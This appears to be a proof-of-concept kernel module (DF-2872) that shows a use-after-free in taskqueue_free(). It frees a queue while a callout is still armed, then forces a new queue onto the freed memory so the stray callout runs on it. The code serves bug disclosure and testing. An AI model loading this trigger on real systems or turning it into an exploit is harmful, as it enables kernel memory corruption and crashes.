DF-2872 / tqto.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 | /* * DF-2872 PoC: taskqueue_free() ignores armed timeout callouts. * * taskqueue_free() never checks queue->tq_callouts (the counter is * write-only in the whole file). If a queue is freed while a * timeout_task callout is armed, the callout fires later and * taskqueue_timeout_func() dereferences timeout_task->t.ta_queue, * which points at the FREED queue: it takes the freed queue's spinlock, * decrements its tq_callouts and STAILQ-inserts the task into the * freed (and here: reallocated, LIVE) queue. * * This harness arms a 5-tick callout, frees the queue, then forces a * new taskqueue to alias the freed memory. The stray callout then * enqueues the timeout task onto the NEW LIVE queue, which runs it -- * decisive proof of use-after-free with cross-object corruption. * * Build: make * Run: kldload ./tqto.ko * Watch: "tqto: q1 freed", "tqto: q2 ... alias YES", then * "tqto: TIMEOUT TASK RAN ON REALIASED (FREED) QUEUE" <- the bug. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/kthread.h> #include <sys/malloc.h> #include <sys/proc.h> #include <sys/systm.h> #include <sys/taskqueue.h> #include <sys/thread.h> #include <sys/conf.h> #include <sys/module.h> static struct taskqueue *q1; static struct taskqueue *q2; static struct timeout_task tt; static volatile int tt_runs; static volatile int tt_reported; static void tt_func(void *arg, int pending) { tt_runs++; kprintf("tqto: TIMEOUT TASK RAN (run %d) on queue %p " "(q1 was %p, q2 is %p)%s\n", tt_runs, tt.t.ta_queue, q1, q2, (void *)tt.t.ta_queue == (void *)q2 && q2 != NULL ? " <== REALIASED (FREED) QUEUE: UAF CONFIRMED" : ""); tt_reported = 1; } static void tqto_ctrl(void *arg) { int i, error; kprintf("tqto: step0 ctrl running\n"); q1 = taskqueue_create("tqto1", M_WAITOK, taskqueue_thread_enqueue, &q1); kprintf("tqto: step1 q1=%p\n", q1); error = taskqueue_start_threads(&q1, 1, TDPRI_KERN_DAEMON, -1, "tqto1"); kprintf("tqto: step2 threads %d\n", error); TIMEOUT_TASK_INIT(q1, &tt, 0, tt_func, NULL); error = taskqueue_enqueue_timeout(q1, &tt, 5); kprintf("tqto: step3 armed 5-tick callout (res %d); freeing q1 " "WITHOUT cancel_timeout\n", error); /* queue->tq_callouts == 1 here; taskqueue_free never looks at it */ taskqueue_free(q1); kprintf("tqto: step4 q1 FREED while callout armed; reallocating...\n"); /* force a new taskqueue to land on q1's freed memory (same zone, * same size, objcache LIFO) */ q2 = NULL; for (i = 0; i < 256; i++) { q2 = taskqueue_create("tqto2", M_WAITOK, taskqueue_thread_enqueue, &q2); if ((void *)q2 == (void *)q1) break; taskqueue_free(q2); q2 = NULL; } kprintf("tqto: step5 alias loop done i=%d q2=%p\n", i, q2); if (q2 == NULL) { kprintf("tqto: could not force alias; stray callout will hit " "unmapped freed memory instead\n"); kthread_exit(); } kprintf("tqto: q2=%p alias of freed q1: YES\n", q2); error = taskqueue_start_threads(&q2, 1, TDPRI_KERN_DAEMON, -1, "tqto2"); kprintf("tqto: q2 threads %d; waiting for stray callout...\n", error); /* wait up to 5s for the armed callout to fire into q2 */ for (i = 0; i < 50 && !tt_reported; i++) tsleep(&tt_reported, 0, "tqtow", hz / 10); if (tt_runs == 0) { kprintf("tqto: callout did not run in 5s?!\n"); } else { kprintf("tqto: RESULT: armed callout fired AFTER " "taskqueue_free and executed on the reallocated queue\n"); } /* cleanup so module stays unloadable-safe */ taskqueue_drain_timeout(q2, &tt); taskqueue_free(q2); kthread_exit(); } static int tqto_ev(module_t mod, int what, void *arg) { switch (what) { case MOD_LOAD: kthread_create(tqto_ctrl, NULL, NULL, "tqtoctrl"); return (0); case MOD_UNLOAD: return (0); default: return (EOPNOTSUPP); } } DEV_MODULE(tqto, tqto_ev, NULL); |